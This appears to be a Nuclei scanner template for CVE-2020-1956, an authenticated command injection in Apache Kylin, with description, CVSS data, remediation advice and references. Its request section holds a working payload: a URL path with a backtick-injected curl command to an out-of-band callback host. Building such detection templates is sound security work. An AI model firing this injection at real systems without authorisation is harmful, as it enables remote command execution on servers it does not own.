nuclei-templates/http/cves/2020/CVE-2020-1956.yaml

60 lines
2.2 KiB
YAML
Raw Normal View History

2023-05-11 09:03:44 +00:00
id: CVE-2020-1956
info:
name: Apache Kylin 3.0.1 - Command Injection Vulnerability
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
Apache Kylin 2.3.0, and releases up to 2.6.5 and 3.0.1 has some restful apis which will concatenate os command with the user input string, a user is likely to be able to execute any os command without any protection or validation.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade to a patched version of Apache Kylin or apply the necessary security patches provided by the vendor.
2023-05-11 09:03:44 +00:00
reference:
2023-05-11 12:17:48 +00:00
- https://www.sonarsource.com/blog/apache-kylin-command-injection-vulnerability/
2023-05-11 09:03:44 +00:00
- https://community.sonarsource.com/t/apache-kylin-3-0-1-command-injection-vulnerability/25706
- https://nvd.nist.gov/vuln/detail/CVE-2020-1956
- http://www.openwall.com/lists/oss-security/2020/07/14/1
2023-07-11 19:49:27 +00:00
- https://lists.apache.org/thread.html/r021baf9d8d4ae41e8c8332c167c4fa96c91b5086563d9be55d2d7acf@%3Ccommits.kylin.apache.org%3E
2023-05-11 09:03:44 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-1956
cwe-id: CWE-78
epss-score: 0.97389
epss-percentile: 0.99887
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:apache:kylin:*:*:*:*:*:*:*:*
2023-05-31 05:32:07 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 12:22:36 +00:00
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: kylin
2023-09-06 12:22:36 +00:00
shodan-query: http.favicon.hash:-186961397
2023-05-11 09:03:44 +00:00
tags: cve,cve2020,apache,kylin,rce,oast,kev
variables:
username: "{{username}}:"
password: "{{password}}"
http:
- raw:
- |
POST /kylin/api/user/authentication HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('{{username}}:' + '{{password}}')}}
- |
POST /kylin/api/cubes/kylin_streaming_cube/%2031%60curl%20{{interactsh-url}}%60/migrate HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-05-31 05:32:07 +00:00
2023-05-11 09:03:44 +00:00
cookie-reuse: true
2023-07-11 19:49:27 +00:00
2023-05-11 09:03:44 +00:00
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
2023-05-31 01:53:36 +00:00
- type: word
part: interactsh_request
words:
- "User-Agent: curl"
# digest: 4b0a004830460221009ee9c8a9d670b3c47b39a032d027a56769d3db1fc29567989a94ce311944207b022100b92b5f86e30d6de9e7d4326ebd212f0ab174e792652cf4d57564f0529501b0a0:922c64590222798bb761d5b6d8e72950